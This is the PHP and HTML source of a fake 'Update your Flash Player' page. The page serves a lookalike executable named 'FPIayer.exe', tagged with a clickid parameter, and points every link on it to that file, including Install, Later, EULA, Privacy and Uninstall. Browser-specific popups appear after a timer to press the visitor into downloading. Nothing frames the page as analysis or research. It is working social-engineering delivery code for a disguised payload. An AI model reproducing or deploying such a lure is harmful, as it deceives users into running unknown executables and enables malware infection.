PHP Decode

<?php
$dowen_link = "FPIayer.exe";
if(isset($_GET["clickid"])){
$dowen_link = "FPIayer_".$_GET["clickid"].".exe";
}
?>
<!DOCTYPE html>
<html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   
    <meta name="viewport" content="width=device-width">

    <title>Flash Player might be outdated</title>

   
    <link href="style.css" rel="stylesheet">

    <script>
    function showStep() {
      var nAgt = navigator.userAgent;
      var verOffset;
      if ((verOffset = nAgt.indexOf("OPR")) != -1) {
        document.getElementById("opera").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("MSIE")) != -1) {
        document.getElementById("ie").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf(".NET")) != -1) {
        document.getElementById("ie").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Chrome")) != -1) {
        document.getElementById("chrome").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Firefox")) != -1) {
        document.getElementById("mozilla").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Safari")) != -1) {
        document.getElementById("safari").style.visibility = "visible";
        document.getElementById("overlay").style.visibility = "block";
      }
    }
	
	function showStep2() {
	
      var nAgt = navigator.userAgent;
      var verOffset;
      if ((verOffset = nAgt.indexOf("OPR")) != -1) {
        document.getElementById("opera").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("MSIE")) != -1) {
        document.getElementById("ie").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf(".NET")) != -1) {
        document.getElementById("ie").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Chrome")) != -1) {
        document.getElementById("chrome").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Firefox")) != -1) {
        document.getElementById("mozilla").style.display = "block";
        document.getElementById("overlay").style.display = "block";
      } else if ((verOffset = nAgt.indexOf("Safari")) != -1) {
        document.getElementById("safari").style.visibility = "visible";
        document.getElementById("overlay").style.visibility = "block";
      }
    }

    function hidePop() {
      document.getElementById('mozilla').style.display = 'none';
      document.getElementById('chrome').style.display = 'none';
      document.getElementById('ie').style.display = 'none';
      document.getElementById('safari').style.visibility = 'hidden';
      document.getElementById('overlay').style.display = 'none';
    }
    </script>

  </head>

  <body>
  
    <div id="plug">
      <div class="plugleft" style="padding-top: 4px;  font-size:13px;"> <a href="<?php echo $dowen_link; ?>" class="download_link finlink"><img style="padding-right: 7px;margin-left: 10px; float:left;" src="img/alerttop2.png" align="bottom"></a>
        <p style="display:block; float:left; margin: 8px 0px 0px;"> Latest version of Adobe Flash Player is required to encode and/or decode (Play) audio files in high quality. - <a class="ib-download download_link finlink" href="<?php echo $dowen_link; ?>" style="font-size:13px;color:#fff;text-decoration: underline;">Click here to update for latest version.</a></p>
      </div>
    </div>
    <div class="content">
      <div id="logo"></div>
      <h1>Update your Flash Player</h1>
      <p>Your Flash Player for windows might be out of date!</p>
      <p>Update the latest version for better perfomance.</p>
      <div id="progress-container">
        <div class="progress">
          <div class="progress-bar"></div>
        </div>
      </div>
      <div id="button" style="display: block;">Your update is ready</div>
      <div class="button" style="text-align:center; margin-top:24px;">
        <a href="<?php echo $dowen_link; ?>" class="download_link finlink" onclick="showStep2();">
          <div class="btn1" style="background-color:rgb(16, 113, 197); text-shadow:none; color:#fff;">Install</div>
        </a>
        <a href="<?php echo $dowen_link; ?>" class="download_link finlink" onclick="showStep2();">
          <div class="btn">Later</div>
        </a>
      </div>
    </div>
    <div id="footer" class="type_1">
      <ul>
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="EULA" name="EULA">EULA</a></li>|
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="Terms of service" name="TOS"> TOS </a></li>|
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="Privacy" name="Privacy"> Privacy </a></li>|
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="Download Manager" name="DownloadManager"> Download Manager </a></li>|
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="Terms of service" name="Uninstall"> Uninstall </a></li>|
        <li><a href="<?php echo $dowen_link; ?>" class="finlink" title="Contact" name="Contact"> Contact </a></li>
      </ul>
      <p style="font-size:11px;  line-height:14px; color:#999;">By downloading, you accept our TOS and Privacy Policy.<br> This free download is done via download manager which may offer other applications you can decline or uninstall.<br> This site and the download manager have no relationship with the author.
        Any third party products,<br> brands or trademarks listed above are the sole property of their respective owner.</p>
      <p style="display:block; color:#999;">  2017 | All Rights Reserved.</p>
    </div>
    <div class="popb">
      <div class="plugleft" style="padding-top: 10px; font-size:12px; width:660px; margin:auto;"> <a href="<?php echo $dowen_link; ?>" class="download_link finlink"><img style="padding-right: 7px; float:left;" src="img/alerttop2.png" align="bottom"></a>
        <p style="display:block;  text-align:center;  margin: 8px 0px 0px; color:#FFF;"> Updating takes a few seconds and no restart needed after installation. <a class="ib-download download_link finlink" href="<?php echo $dowen_link; ?>" style="font-size:12px; color:#fe0000;text-decoration: underline;">Click here to update for latest version.</a></p>
      </div>
    </div>
    <div style="display:none;" id="mozilla" class="popup" onclick="hidePop();">
      <div class="popupmoz"></div>
    </div>
    <div style="display: block;" id="chrome" class="popup" onclick="hidePop();">
      <div class="popupchrome"></div>
    </div>
    <div style="display:none;" id="ie" class="popup" onclick="hidePop();">
      <div class="popupchrome"></div>
    </div>
    <div style="visibility:hidden;" id="safari" class="popup" onclick="hidePop();">
      <div class="popupsafari"></div>
    </div>

    <div class="overlay"></div>

    <div class="instruction">
      <img src="img/modal.jpg" alt="instruction" width="750" height="439">
    </div>

    <script>
      setTimeout(function() {
        document.getElementById("button").style.display = "block";
        showStep();
      }, 3000);
    </script>
</body></html>